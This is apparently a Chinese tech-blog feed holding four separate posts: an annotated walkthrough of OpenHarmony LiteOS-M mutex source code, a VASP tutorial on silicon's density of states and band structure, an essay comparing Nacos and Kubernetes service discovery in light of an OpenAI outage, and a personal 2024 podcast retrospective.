LITE_OS_SEC_TEXT_INIT UINT32 LOS_MuxCreate(UINT32 *muxHandle)
{
    UINT32 intSave;
    LosMuxCB *muxCreated = NULL;
    LOS_DL_LIST *unusedMux = NULL;
    UINT32 errNo;
    UINT32 errLine;

    if (muxHandle == NULL) {
        return LOS_ERRNO_MUX_PTR_NULL;
    }

    intSave = LOS_IntLock();
⑴  if (LOS_ListEmpty(&g_unusedMuxList)) {
        LOS_IntRestore(intSave);
        OS_GOTO_ERR_HANDLER(LOS_ERRNO_MUX_ALL_BUSY);
    }

⑵  unusedMux = LOS_DL_LIST_FIRST(&(g_unusedMuxList));
    LOS_ListDelete(unusedMux);
    muxCreated = (GET_MUX_LIST(unusedMux));
    muxCreated->muxCount = 0;
    muxCreated->muxStat = OS_MUX_USED;
    muxCreated->priority = 0;
    muxCreated->owner = (LosTaskCB *)NULL;
⑶  LOS_ListInit(&muxCreated->muxList);
⑷  *muxHandle = (UINT32)muxCreated->muxID;
    LOS_IntRestore(intSave);
    OsHookCall(LOS_HOOK_TYPE_MUX_CREATE, muxCreated);
    return LOS_OK;
ERR_HANDLER:
    OS_RETURN_ERROR_P2(errLine, errNo);
}

3.2 互斥锁删除

我们可以使用函数LOS_MuxDelete(UINT32 muxHandle)来删除互斥锁,下面通过分析源码看看如何删除互斥锁的。

⑴处判断互斥锁muxHandle是否超过LOSCFG_BASE_IPC_MUX_LIMIT,如果超过则返回错误码。⑵获取互斥锁控制块LosMuxCB *muxDeleted。⑶如果要删除的互斥锁处于未使用状态,跳转到错误标签进行处理。⑷如果互斥锁的持有者数量不为空,不允许删除,跳转到错误标签进行处理。⑸把删除的互斥锁回收到未使用互斥锁双向链表g_unusedMuxList,然后更新为未使用状态。

LITE_OS_SEC_TEXT_INIT UINT32 LOS_MuxDelete(UINT32 muxHandle)
{
    UINT32 intSave;
    LosMuxCB *muxDeleted = NULL;
    UINT32 errNo;
    UINT32 errLine;

⑴  if (muxHandle >= (UINT32)LOSCFG_BASE_IPC_MUX_LIMIT) {
        OS_GOTO_ERR_HANDLER(LOS_ERRNO_MUX_INVALID);
    }

⑵  muxDeleted = GET_MUX(muxHandle);
    intSave = LOS_IntLock();
⑶  if (muxDeleted->muxStat == OS_MUX_UNUSED) {
        LOS_IntRestore(intSave);
        OS_GOTO_ERR_HANDLER(LOS_ERRNO_MUX_INVALID);
    }

⑷  if ((!LOS_ListEmpty(&muxDeleted->muxList)) || muxDeleted->muxCount) {
        LOS_IntRestore(intSave);
        OS_GOTO_ERR_HANDLER(LOS_ERRNO_MUX_PENDED);
    }

⑸  LOS_ListAdd(&g_unusedMuxList, &muxDeleted->muxList);
    muxDeleted->muxStat = OS_MUX_UNUSED;

    LOS_IntRestore(intSave);

    OsHookCall(LOS_HOOK_TYPE_MUX_DELETE, muxDeleted);
    return LOS_OK;
ERR_HANDLER:
    OS_RETURN_ERROR_P2(errLine, errNo);
}

3.3 互斥锁申请

我们可以使用函数UINT32 LOS_MuxPend(UINT32 muxHandle, UINT32 timeout)来请求互斥锁,需要的2个参数分别是互斥锁Id和等待时间timeout,单位Tick,取值范围为[0, LOS_WAIT_FOREVER]。 下面通过分析源码看看如何请求互斥锁的。

申请互斥锁时首先会进行互斥锁Id、参数的合法性校验,这些比较简单。⑴处代码获取当前运行的任务,⑵如果互斥锁没有被持有,更新互斥锁的持有次数、持有者信息和优先级,完成互斥锁的申请。⑶处如果互斥锁的持有次数不为0,并且被当前任务持有,可以持有次数加1,再次嵌套持有,完成互斥锁的申请。如果代码执行到⑷,说明申请的互斥锁被其他任务持有着,此时如果等待时间为0,则申请失败返回。⑸处更新当前任务阻塞在申请的互斥锁上。

⑹处代码表示在当前申请互斥锁的任务优先级高于持有互斥锁的任务优先级时,修改持有互斥锁的优先级为当前任务的优先级。通过这样的修改,可以避免优先级翻转。⑺处调用函数OsSchedTaskWait()更新当前任务的状态,设置等待时间,然后调用函数LOS_Schedule触发任务调度。后续程序暂时不再执行,需要等到可以获取互斥锁或者时间超时。

如果时间超时或者申请到互斥锁,系统重新调度到执行此任务,程序从⑻处继续执行。如果是时间超时,⑼处更新任务状态并返回码,申请互斥锁失败。如果成功申请到互斥锁,执行⑽,返回成功。

LITE_OS_SEC_TEXT UINT32 LOS_MuxPend(UINT32 muxHandle, UINT32 timeout)
{
    UINT32 intSave;
    LosMuxCB *muxPended = NULL;
    UINT32 retErr;
    LosTaskCB *runningTask = NULL;

    if (muxHandle >= (UINT32)LOSCFG_BASE_IPC_MUX_LIMIT) {
        OS_RETURN_ERROR(LOS_ERRNO_MUX_INVALID);
    }

    muxPended = GET_MUX(muxHandle);
    intSave = LOS_IntLock();
    retErr = OsMuxValidCheck(muxPended);
    if (retErr) {
        goto ERROR_MUX_PEND;
    }

⑴  runningTask = (LosTaskCB *)g_losTask.runTask;
⑵  if (muxPended->muxCount == 0) {
        muxPended->muxCount++;
        muxPended->owner = runningTask;
        muxPended->priority = runningTask->priority;
        LOS_IntRestore(intSave);
        goto HOOK;
    }

⑶  if (muxPended->owner == runningTask) {
        muxPended->muxCount++;
        LOS_IntRestore(intSave);
        goto HOOK;
    }

⑷  if (!timeout) {
        retErr = LOS_ERRNO_MUX_UNAVAILABLE;
        goto ERROR_MUX_PEND;
    }

⑸  runningTask->taskMux = (VOID *)muxPended;

⑹  if (muxPended->owner->priority > runningTask->priority) {
        (VOID)OsSchedModifyTaskSchedParam(muxPended->owner, runningTask->priority);
    }

⑺  OsSchedTaskWait(&muxPended->muxList, timeout);

    LOS_IntRestore(intSave);
    OsHookCall(LOS_HOOK_TYPE_MUX_PEND, muxPended);
    LOS_Schedule();intSave = LOS_IntLock();
    if (runningTask->taskStatus & OS_TASK_STATUS_TIMEOUT) {
⑼      runningTask->taskStatus &= (~OS_TASK_STATUS_TIMEOUT);
        retErr = LOS_ERRNO_MUX_TIMEOUT;
        goto ERROR_MUX_PEND;
    }

    LOS_IntRestore(intSave);
⑽  return LOS_OK;

HOOK:
    OsHookCall(LOS_HOOK_TYPE_MUX_PEND, muxPended);
    return LOS_OK;

ERROR_MUX_PEND:
    LOS_IntRestore(intSave);
    OS_RETURN_ERROR(retErr);
}

DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:

1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......

3.4 互斥锁释放

我们可以使用函数UINT32 LOS_MuxPost(UINT32 muxHandle)来释放互斥锁,下面通过分析源码看看如何释放互斥锁的。

释放互斥锁时首先会进行互斥锁Id、参数的合法性校验,这些比较简单,自行阅读即可。⑴处如果要释放的互斥锁没有被持有、或者不是被当前任务持有,返回错误码。⑵互斥锁的持有数量减1,如果不为0,当前任务嵌套持有该互斥锁,不需要调度,返回释放互斥锁成功。如果释放一次后,当前任务不再持有互斥锁,则执行⑶,如果持有互斥锁任务的优先级不等于互斥锁的备份优先级低,需要恢复当前任务的优先级。

⑷如果互斥锁上还有其他任务阻塞着,获取阻塞的任务resumedTask,该任务成功获取到互斥锁,然后执行⑸更新互斥锁的持有信息。执行⑹更新任务resumedTask的状态,然后调用函数LOS_Schedule触发调度。

LITE_OS_SEC_TEXT UINT32 LOS_MuxPost(UINT32 muxHandle)
{
    UINT32 intSave;
    LosMuxCB *muxPosted = GET_MUX(muxHandle);
    LosTaskCB *resumedTask = NULL;
    LosTaskCB *runningTask = NULL;

    intSave = LOS_IntLock();

    if ((muxHandle >= (UINT32)LOSCFG_BASE_IPC_MUX_LIMIT) ||
        (muxPosted->muxStat == OS_MUX_UNUSED)) {
        LOS_IntRestore(intSave);
        OS_RETURN_ERROR(LOS_ERRNO_MUX_INVALID);
    }

    runningTask = (LosTaskCB *)g_losTask.runTask;
⑴  if ((muxPosted->muxCount == 0) || (muxPosted->owner != runningTask)) {
        LOS_IntRestore(intSave);
        OS_RETURN_ERROR(LOS_ERRNO_MUX_INVALID);
    }

⑵  if (--(muxPosted->muxCount) != 0) {
        LOS_IntRestore(intSave);
        OsHookCall(LOS_HOOK_TYPE_MUX_POST, muxPosted);
        return LOS_OK;
    }

⑶  if ((muxPosted->owner->priority) != muxPosted->priority) {
        (VOID)OsSchedModifyTaskSchedParam(muxPosted->owner, muxPosted->priority);
    }

⑷  if (!LOS_ListEmpty(&muxPosted->muxList)) {
        resumedTask = OS_TCB_FROM_PENDLIST(LOS_DL_LIST_FIRST(&(muxPosted->muxList)));

⑸      muxPosted->muxCount = 1;
        muxPosted->owner = resumedTask;
        muxPosted->priority = resumedTask->priority;
        resumedTask->taskMux = NULL;

⑹      OsSchedTaskWake(resumedTask);

        LOS_IntRestore(intSave);
        OsHookCall(LOS_HOOK_TYPE_MUX_POST, muxPosted);
        LOS_Schedule();
    } else {
        LOS_IntRestore(intSave);
    }

    return LOS_OK;
}

小结

本文带领大家一起剖析了鸿蒙轻内核的互斥锁模块的源代码,包含互斥锁的结构体、互斥锁池初始化、互斥锁创建删除、申请释放等。

by 别说我什么都不会 at January 17, 2025 09:34 AM

juejin freebie

VASP 入门教程:计算硅的态密度和能带

VASP (Vienna Ab initio Simulation Package) 是一款广泛应用于材料科学、凝聚态物理和化学领域的第一性原理计算软件,能够求解多体薛定谔方程的近似解。它不仅在密度泛函理论 (DFT) 中高效求解 Kohn-Sham 方程,还在 Hartree-Fock (HF) 近似中精准求解 Roothaan 方程。此外,VASP 进一步拓展了其功能,实现了 Hartree-Fock 方法与密度泛函理论的混合泛函,为复杂体系的电子结构计算提供了更多选择。

  • 本次教程主要内容:
    *结构优化
    *自洽计算(态密度)
    *能带计算

本教程将使用 VASP 来计算硅的态密度和能带。通过本教程学习,将了解 VASP 的 INCAR(vasp 功能控制文件)、POSCAR(结构文件)、POTCAR(赝势文件)和 KPOINTS(倒格矢格点)这 4 个基本输入文件的作用,并学会自行编写输入文件。

介绍输入文件

  1. 结构优化
ISTART =  1            (读取初始波函数 WAVECAR 文件)
ISPIN  =  1            (本次计算为不考虑自旋的 DFT 计算)
# ICHARG =  11         (非自洽计算:用于计算能带本征值)
LREAL  = .FALSE.       (不在实空间投影计算)
LWAVE  = .TRUE.        (计算完毕输出并保存 WAVECAR)
LCHARG = .TRUE.        (计算完毕输出并保存 CHGCAR)
ADDGRID= .TRUE.        (增加格点密度加速收敛)
 

NSW    =  300          (最多运行 300 步离子步)
ISMEAR =  -5           (采用 Blöchl 修正的 tetrahedron 方法) 
IBRION =  2            (采用 2-CG 算法进行收敛)
ISIF   =  3            (优化期间原胞形状、体积和内部原子位置都将发生变化)
EDIFFG = -1.5E-02      (离子步收敛条件 eV/A)

POSCAR

Si #(体系名称)
1.0 #(放大系数  下面 3 行对应 3 个晶格矢量 )
0.0 2.75 2.75
2.75 0.0 2.75
2.75 2.75 0.0
Si #(元素)
2 #(对应元素原子数)
Direct #(采用分数坐标,下列为 2 个原子的分数坐标)
0 0 0
0.25 0.25 0.25

KPOINTS

K-Spacing Value to Generate K-Mesh: 0.020 #采用GAMMA方法取样 
0
Gamma
  16  16  16
0.0  0.0  0.0

#取 16x16x16 个格点

POTCAR:系统对应元素的赝势组合,这里为 Si 的赝势

2. 自洽计算(态密度计算)

INCAR

ISTART =  1            (读取初始波函数 WAVECAR 文件)
ISPIN  =  1            (本次计算为不考虑自旋的 DFT 计算)
# ICHARG =  11         (非自洽计算:用于计算能带本征值)
LREAL  = .FALSE.       (不在实空间投影计算)
LWAVE  = .TRUE.        (计算完毕输出并保存 WAVECAR)
LCHARG = .TRUE.        (计算完毕输出并保存 CHGCAR)
ADDGRID= .TRUE.        (增加格点密度加速收敛)
 

ISMEAR =  -5           (采用 Blöchl 修正的 tetrahedron 方法)
NELM   =  60           (SCF 自洽步数最多为 60 步)
EDIFF  =  1E-08        (SCF 能量收敛条件)

POSCAR:采用上一步「1. 结构优化」中的输出的 CONTCAR,并将其改名为 POSCAR

KPOINTS:同「1. 结构优化」

POTCAR:同「1. 结构优化」

3. 能带计算

INCAR

ISTART =  1            (读取初始波函数 WAVECAR 文件)
ISPIN  =  1            (本次计算为不考虑自旋的 DFT 计算)
ICHARG =  11         (非自洽计算:用于计算能带本征值)
LREAL  = .FALSE.       (不在实空间投影计算)
LWAVE  = .TRUE.        (计算完毕输出并保存 WAVECAR)
LCHARG = .TRUE.        (计算完毕输出并保存 CHGCAR)
 

ISMEAR =  0            (能带计算需要使用高斯方法)
SIGMA  =  0.05         (高斯展宽)
NELM   =  60           (SCF 自洽步数最多为 60 步)
EDIFF  =  1E-08        (SCF 能量收敛条件)

POSCAR:同「2. 自洽计算(态密度计算)」

KPOINTS

K-Path Generated by VASPKIT.
   20   #k 点之间的间隔
Line-Mode
Reciprocal
   0.0000000000   0.0000000000   0.0000000000     GAMMA          
   0.5000000000   0.0000000000   0.5000000000     X              
 
   0.5000000000   0.0000000000   0.5000000000     X              
   0.6250000000   0.2500000000   0.6250000000     U              
 
   0.3750000000   0.3750000000   0.7500000000     K              
   0.0000000000   0.0000000000   0.0000000000     GAMMA          
 
   0.0000000000   0.0000000000   0.0000000000     GAMMA          
   0.5000000000   0.5000000000   0.5000000000     L              
 
   0.5000000000   0.5000000000   0.5000000000     L              
   0.5000000000   0.2500000000   0.7500000000     W              
 
   0.5000000000   0.2500000000   0.7500000000     W              
   0.5000000000   0.0000000000   0.5000000000     X    

POTCAR:同「1. 结构优化」

运行步骤

01 克隆并启动容器

  1. 登录 OpenBayes.com,在「公共教程」页面,选择「VASP 入门教程:计算硅的态密度和能带」教程。

  1. 页面跳转后,点击右上角「克隆」,将该教程克隆至自己的容器中。

  1. 在「选择算力」处选择「cpu」,镜像选择「vasp」,OpenBayes 平台上线了新的计费方式,大家可以按照需求选择「按量付费」或「包日/周/月」,点击「继续执行」。新用户使用下方邀请链接注册,可获得 4 小时 RTX 4090 + 5 小时 CPU 的免费时长!

小贝总专属邀请链接(直接复制到浏览器打开):
go.openbayes.com/9S6Dr

  1. 等待模型分配好资源,状态变为「运行中」后,点击「打开工作空间」。

02 上传输入文件

  1. 进入到工作空间后,打开「终端」,输入并运行命令「unzip tutorials.zip」解压压缩包。

  1. 压缩包解压完成后可以输入「cd tutorials」进入解压目录。

  1. 将我们提前准备好的赝势上传到「1_str」中。这里可以使用「官网示例:www.vasp.at/wiki/images… 」里的赝势「POTCAR」。

03 运行 VASP

  1. 输入「export OMP_NUM_THREADS=1」设置 openmp 参数。

  1. 结构优化:输入下列代码进入 1_str 并运行 VASP。
cd 1_str mpirun -n 2 --allow-run-as-root vasp_std 

  1. 运行完成后,输入以下代码将 POTCAR、WAVECAR、CHGCAR 和 CHG 复制到「2_scf」中并把 CONTCAR 也复制到「2_scf」中并更改为 POSCAR。

cp POTCAR WAVECAR CHG* ../2_scf cp CONTCAR ../2_scf/POSCAR

之后可输入「cd ../2_scf」进入「2_scf」目录进行查看。

  1. 自洽计算(态密度计算):输入代码运行「mpirun -n 2 --allow-run-as-root vasp_std」,这时 vasp 会读取上一步复制过来的 WAVECAR 和 CHGCAR。

  1. 输入「cp POSCAR POTCAR WAVECAR CHG* ../3_band」将 POSCAR、POTCAR、WAVECAR、CHGCAR 和 CHG 复制到「3_band」中。

之后输入「cd ../3_band」,进入「3_band」目录。

  1. 能带计算:输入「mpirun -n 2 --allow-run-as-root vasp_std」运行,这时 vasp 会读取上一步复制过来的 WAVECAR、CHGCAR 和 CHG,进行本征值计算。

输入「cd ..」回到输入文件主目录。

04 安装 vaspkit

  1. 安装 python 依赖并配置 vaspkit:输入「pip install numpy scipy matplotlib」安装「python」依赖,输入以下代码配置「vaspkit」。
chmod 777 setupvk.sh ./setupvk.sh source ~/.bashrc  cd tutorials

05 使用 vaspkit 处理数据

  1. 绘制态密度图:输入「cd 2_scf」,进入「2_scf」。输入以下代码使用 vaspkit 处理数据并绘图。等待运行完成后,可以在目录中找到生成出的图片,即硅的态密度图片。
vaspkit 
111 
1

  1. 绘制能带图:输入「cd ..」返回目录,输入「cd 3_band」进入「3_band」目录,运行以下代码得到硅的能带图。
vaspkit
 211
 1

by 小白狮ww at January 17, 2025 09:30 AM

oschina news industry

OpenAI 宕机思考丨 Kubernetes 复杂度带来的服务发现系统的风险和应对措施

作者:王建伟(正己)

12 月 11 日,OpenAI 旗下 AI 聊天机器人平台 ChatGPT、视频生成工具 Sora 及其面向开发人员的 API 自太平洋时间下午 3 点左右起发生严重中断,耗费约三个小时才顺利恢复所有服务。

OpenAI 在事后报告中写道,"该问题源自新部署的遥测服务,此项服务无意间压垮了 Kubernetes 控制平面,导致关键系统发生连锁故障。引发事故的根本原因就是新的遥测服务配置意外在大规模集群中产生了大量 Kubernetes API 负载,导致控制平面不堪重负并破坏了基于 DNS 的服务发现能力。"

可见,即使如实力强大的 OpenAI,面对复杂 Kubernetes 架构,也不能很好处理 Kubernetes 服务发现和控制面解耦的问题。造成这个问题的关键原因在于容器调度和业务关键服务发现链路耦合在一起,互相干扰,Kubernetes 控制面故障影响了业务服务发现链路。那么,Kubernetes 体系下应如何选择服务发现系统,进一步提升业务稳定性呢?

笔者认为,大型业务的服务发现系统应该具备高可靠性,高可伸缩性,高性能及高可维护性等特点,采用独立服务发现系统是一种相对较好的方案。本文以社区主流服务发现系统 Nacos 为例,从可靠性、可伸缩性、高性能、可维护性等 4 个方面探讨如何提升 Kubernetes 中微服务应用的稳定性。

如何提升系统可靠性

产品、系统在规定的条件下,规定的时间内,完成规定功能的能力称为可靠性。

解耦控制面与运行时

众所周知,Kubernetes 主要工作资源调度,更偏向运维系统一些。从架构合理性上讲,运行时与控制面的系统不应耦合在一起,甚至即使运维系统挂了也不会影响运行时。服务发现是运行时需求,而 Kubernetes 服务发现与运维系统绑定,一旦 Kubernetes 故障,上层运行态应用会受到致命影响。

Kubernetes 服务发现依赖 API Server,而 API Server 被非常多的组件调用,任何组件异常调用都有可能把 API Server 打挂,进而影响服务发现。以 OpenAI 这次故障为例,本来是要增强系统的可观测性, 但因可观测组件的大量调用把 API Server 打挂了,导致系统 DNS 解析发生故障。如果服务发现体系相对独立,不依赖或弱依赖 Kubernetes 控制面,本次故障是可以避免的。

Nacos 作为独立注册配置中心,可以不依赖 Kubernetes 独立部署,面向运行时设计,且有遵循多项面向失败原则,帮助业务服务发现与底层运维系统结构隔离,做到运维态系统故障不影响运行态系统,大大提高系统可靠性。

提升系统容灾能力

首先,Nacos 可以帮助提升部署在 Kubernetes 上微服务体系的容灾能力。先讲一个实际案例,2023 年 11 月,国内某头部出行服务公司的 app 突然出现大面积报错,导致长达几十个小时的服务不可用,影响大量用户正常出行。据官方发布通过,此次故障原因是底层软件异常导致(据推测为 Kubernetes 升级出现异常)。

对于大规模微服务系统,Kubernetes 集群容灾是系统稳定性非常重要的一环。通常,为了实现 Kubernetes 集群级别容灾,我们通常会把应用部署在多个 Kubernetes 上。这样,即使一个 Kubernetes 集群出现问题,还有另一个集群可以提供服务。但因 Kubernetes 服务发现是面向本集群内的,多 Kubernetes 部署之后,应用间的服务发现,尤其是跨 Kubernetes 集群服务发现会变得比较困难。

Nacos 作为独立的注册配置中心,可以不依赖 Kubernetes 独立部署。因此,如果在多 Kubernetes 引入 Nacos 作为注册配置中心,跨 Kubernetes 的服务发现问题就迎刃而解了。下图给出了 Nacos 作为独立注册配置中心的一个架构示意图。

  • Nacos 独立于业务应用部署,可以部署在独立 Kubernetes 中也可以部署在其他平台上;
  • 业务应用部署在两个 Kubernetes 集群上,服务提供者向 Nacos 注册服务;
  • 服务订阅者从 Nacos 订阅服务,发起服务调用。

从上图可知,任何一个 Kubernetes 集群出现故障都不会影响整个系统的服务。因此,Nacos 能大幅提升 K8s 体系微服务系统的可靠性。

面向失败设计

针对微服务系统常见的问题,Nacos 做了多项面向失败的设计,帮助提升系统可靠性。本节重点介绍其中两个:客户端缓存和推空保护。

客户端缓存提高极端情况下系统可靠性

在 Kubernetes 系统中,CoreDNS 是服务发现的核心组件,所有 DNS 请求都经过CoreDNS。一旦 CoreDNS 故障,所有服务调用都会受到影响。跟 Kubernetes 服务发现不同,Nacos 客户端保存了缓存数据,在服务端故障无法更新服务 IP 列表的情况下,可以继续使用缓存提供服务,不会影响运行时服务调用。

推空保护防止服务实例被误下线

当 Nacos 服务端发现某个服务下的实例全部下线时,可以自动触发保护逻辑,不会给客户端推送空 IP 列表。推空保护策略能预防因网络抖动或运维失误等导致的服务实例全部异常下线问题,保障业务运行可靠性。

如何提升系统可伸缩性

信息系统不需要对本身进行大量修改,只需要通过增加软硬件资源使服务容量产生线性(理想情况下)增长的特性称为可伸缩性。

在微服务架构下,传统单体应用被切分为多个小应用提供某些独立功能。随着业务发展,服务数量可能会出现爆发式增长。以淘宝为例,仅仅 3 年时间微服务实例规模就从十万级别暴涨到了百万级别。微服务数量爆发式增长对注册配置中心的可伸缩性提出了很高的要求。

Kubernetes 服务发现的核心组件之一是 etcd,系统所有微服务相关数据均存储于其中。但 etcd 是基于 raft 一致性协议开发的系统,Raft 协议本身的特性决定所有写操作必须由 Leader 执行。因此,etcd 可伸缩性较差,无法通过水平扩容解决微服务大规模增长带来的压力。

那如何提升系统的可伸缩性呢?一种方案是业务拆分,即把业务按照一定的逻辑拆分到多个 Kubernetes 集群,每个 Kubernetes 内部业务封闭,但成本很高,可能会改变整个业务架构;另一种方案是引入可伸缩性好的注册配置中心。

与 etcd 不同,Nacos 服务发现能力基于自研的 Distro 协议构建,每个服务端均可提供写服务,其性能随着系统的水平扩展而提高。因此,Nacos 作为 Kubernetes 集群的注册配置中心,可以大幅提高整个系统的可伸缩能力。

如何提升系统性能

Kubernetes 系统内服务发现主要有两种方式:环境变量和 DNS。默认情况下,Kubernetes 会为每个服务自动生成一个环境变量,并注入到 Pod 中。如果业务规模很大,环境变量过多的问题就不可避免。环境变量过多会导致 Pod 启动过程很慢,笔者就多次遇到环境变量过多导致 Pod 无法启动的问题。

DNS 服务发现方式允许开发者像调用普通域名一样调用 Kubernetes 内的服务,为多语言技术栈开发带来了很大便利。但频繁的 DNS 解析一方面会导致请求响应时间变慢,另一方面也会有一定的资源消耗。笔者曾做过一个简单的实验,对比直接以 DNS 域名方式调用和以 IP 直连方式调用的响应时间。结果显示,平均每次调用DNS 方式的 RT 比直连慢 3%-5%。3%-5% 的延迟看起来微不足道,复杂业务可能都会有多次甚至几十次的调用,累积起来的延迟对终端用户的体验影响还是比较大的。

而 Nacos 服务发现方式,通常和微服务框架(SpringCloud/Dubbo 等)结合,推送 IP 列表给框架,然后框架用IP直连的方式发起调用,省去了 DNS 解析的消耗。

下图简要画出了 DNS 解析和 IP 直连方式的区别。

因此,对于技术栈统一的微服务架构,使用 Nacos 作为注册配置中心,可以进一步缩短响应时间提升系统吞吐量。

如何提升系统可维护性

系统发生故障后能够排除(或抑制)故障予以修复,并返回到原来正常运行状态的可能性称之为可维护性。

简化服务发现链路,降低维护成本

K8s 服务发现依赖组件众多,下图给出了其典型架构。可以看到整个链路很复杂,涉及到 api-server、etcd、kube-dns/coredns、kubelet、kube-proxy、iptables、ipvs 等组件。一个 Pod 从扩容到最终接收到请求大概需要 10 步。

  1. 创建 Pod

  2. 创建 Service

  3. kubelet 检测 Pod 健康状态,并上报给 api-server

  4. api-server 更新数据到 etcd

  5. kube-proxy从api-server 收到 service 变更

  6. kube-proxy 调用 iptables/ipvs 设置转发规则

  7. kube-dns/coredns 从 api-server 监听到服务变化,更新 dns 解析记录

  8. 调用方 pod 从 kube-dns/coredns 解析 service,得到 cluster ip

  9. 调用方 pod 用拿到的 cluster ip 发起调用

  10. 请求经过 iptables/ipvs 转发链到达服务提供方 pod

而 Nacos 的服务发现工作原理,如下图所示,涉及组件更少,只有 Nacos Sdk 和 Nacos Server;一个 Pod 从创建到最终接收到请求大概只需要 5 步:

  1. 创建 Pod

  2. 服务提供方 Pod 注册服务到 Nacos,并自动持续汇报心跳

  3. 服务调用方 Pod 从 Nacos 订阅服务,拿到服务 IP 列表

  4. 服务调用方使用 Pod IP 发起调用

  5. 请求打到服务提供方 Pod

可以看出,相比 Kubernetes,Nacos 注册中心服务发现链路更短,涉及组件少。对于大规模微服务系统,采用 Nacos 作为注册配置中心,可以大幅提升系统的可维护性。

Kubernetes 与非 Kubernetes 服务互相发现,提升架构兼容性

随着 Kubernetes 的普及,新增系统通常选择直接部署在 Kubernetes 中。但仍有很多存量应用部署在传统虚拟机或物理机上。这两类应用经常互相调用,因此它们能互相发现变得十分必要。然而 Kubernetes 服务发现与 K8s 运维系统绑定,Kubernetes 服务要发现外部服务或被外部服务发现比较困难。如前所述,Nacos 是独立系统,对接入应用的部署平台没有限制,支持 Kubernetes 应用与非 Kubernetes 应用互相发现,下图是使用 Nacos 后 Kubernetes 与非 Kubernetes 应用互相发现的示意图。

Nacos 服务发现与 Kubernetes 服务发现特性对比

最后,下面表格中给出了 Nacos 服务发现与 Kubernetes 服务发现特性对比,方便大家选出更适合自己业务的微服务注册配置中心。

总结

Kubernetes 体系基于 DNS 的服务发现为开发者提供了很大的便利,但其高度复杂的架构往往带来更高的稳定性风险。以 Nacos 为代表的独立服务发现系统架构简单,在 Kubernetes 中选择独立服务发现系统可以帮助增强业务可靠性、可伸缩性、性能及可维护性,对于规模大、增长快、稳定性要求高的业务来说是一个较理想的服务发现方案。希望大家都能找到适合自己业务的服务发现系统。

by 原创 at January 17, 2025 09:12 AM

juejin article

Captain2024年的年终总结:时间匆匆,路上的风景更美好

一份迟来的认真 时间匆匆,这一年仿佛在忙碌和琐碎中悄然溜走。

我回头看了一眼,发现自己总觉得“啥也不是”,可仔细想想,有些事情还是坚持了下来,这些微小的努力让我心里有些安慰。

第一件事,播客

浪说播客 langshuo0.podcast.xyz/

这一年,我和狼叔开始了播客旅程。互相鞭策,偶尔互相“伤害”,在合作中,我们不断磨合、共同获得。

@i5ting

今天我破天荒认真听了一次自己的播客,那种奇妙的感觉,就像在与另一个自己对话。

虽然有些不适应,但也真的挺有趣。 播客或许是我这一年里最特别的“作品”,它记录了我们对世界的看法,也成为我内心深处的一个出口。

00 来自AI的焦虑和自我消解-浪说播客序言S00

新人主播Captain和 ITOG狼叔分享了做播客的初心。尽管市面上已有许多同类型的博客,我们还是决定通过发出声音,与听众分享自己沉淀的思考和生活中的趣事。希望通过这个平台,沉淀和分享更多自己的内容。

[图片 ](langshuo0.podcast.xyz/)

001 和Captain一起聊聊狼叔的职业成长-LS01

点评狼叔是一件不容易的事儿,通过这次播客,我比较详细的了解到他的工作经历,从本科毕业之后,在2015年之前他换过很多工作,基本上都是在折腾技术,在2015到2017年间创业,2017年之后字节,阿里工作至今。

图片

前端潮流KK:科技达人与多面手-LS02

当大模型时代来临时,前端工程师如何自处?

图片

死月:知名Node.js开发者的职业生涯到AI转向-LS03

死月是国内知名的 Node.js 开发者和核心贡献者,也是字节跳动 Node.js 基础团队的架构师。本期《浪说博客》有幸邀请到死月,听他讲述自己的程序员成长历程,让更多朋友了解真正的前端大神是什么样的。

图片

## 解读前端大牛TC39 成员Hax贺师俊:如何保持个人竞争力-LS04

提到最个性鲜明的前端大佬,非Hax莫属。

他以幽默的演讲PPT、对JavaScript规范的深入研究和TC39提案而闻名。

在这次录制中,狼叔惊叹于Hax对JavaScript的热爱之深。

图片

切图仔到钓鱼佬和网文作者-CSS 大神张鑫旭精彩历程-LS05

大家对张鑫旭的印象,大概就是阅文集团、钓鱼佬、CSS大神(博客)。他在大厂阅文集团工作了很多年;之前有朋友说他躺平了,事实上,他上下班时间和牛马们一样,晚上也经常9点10点下班。

图片

【前端大神】于航(Jason Yu):因技术前沿到名企外企的探索之路-LS06

于航个人研究方向主要为 Web 前端基础技术架构、WebAssembly、编译及虚拟机技术。擅长 JavaScript、C/C++、x86 汇编。

曾出版国内第一本 WebAssembly 技术书籍《深入浅出 WebAssembly》。2018 年,深度参与 Emscripten 编译器工具链项目的研发工作,并致力于推动国内 Wasm 技术的发展和落地实践。

私下于航也是个女装大佬😄~

图片

对话Yorkie:Node核心贡献者转战XR-未来有多远?-LS07

雷姆老师,一位经验丰富的Node.js专家(严格的讲是Node.js核心贡献者),狼叔和他也是因为Node.js结缘的,后来在淘宝了同组同事。

我以为我和他足够熟悉了,事实上,这次播客有很多事儿是颠覆了我之前的看法的。比如之前他也切过图,也曾被设计师鄙视过,他是学的化学专业,他接触Node.js是个偶然机会。他给Node.js贡献代码也是用到了才贡献,他说他对V8也不是都会。

图片

飞羽:大厂技术专家到自由开发者的蜕变和升华

飞羽是狼叔在淘宝的同事,他对营销权益体系的理解在当时是无出其右者。飞羽特别喜欢写代码,其他事情参与比较少,在淘宝营销相关模块他的开发效率非常高,每年大促都是他最忙的时候。后来他去了字节,后来去做了自由开发者。目前正在准备移民中。

图片

AI 时代新语言开源,走进追梦者张宏波

在和宏波录制播客的时候,就知道开源的事儿了(当天是MoonBit全球编程挑战赛决赛现场,除了我和李亚飞总外,都是各个名校编译领域的博导类的大佬)。我本来是想和他多聊聊MoonBit的,他觉得这样可能会有些功利性,所以我们聊了很多他的经历,对编程、AI的看法。

图片

alsotang CNode 往事:追忆十年和各路大神的往事

在深圳,腾讯总部,我们聊了很久,追忆往西一起奋斗的日子。那时候苏千,朴灵,死马三巨头都忙着各自的事儿,没空理社区。天猪是Egg开源之后才开始做社区影响力的。相当于我是中间第二波。他说他经常看我的文章,那时候有好多新知识,学的非常开心。

如今我们都快奔四了。

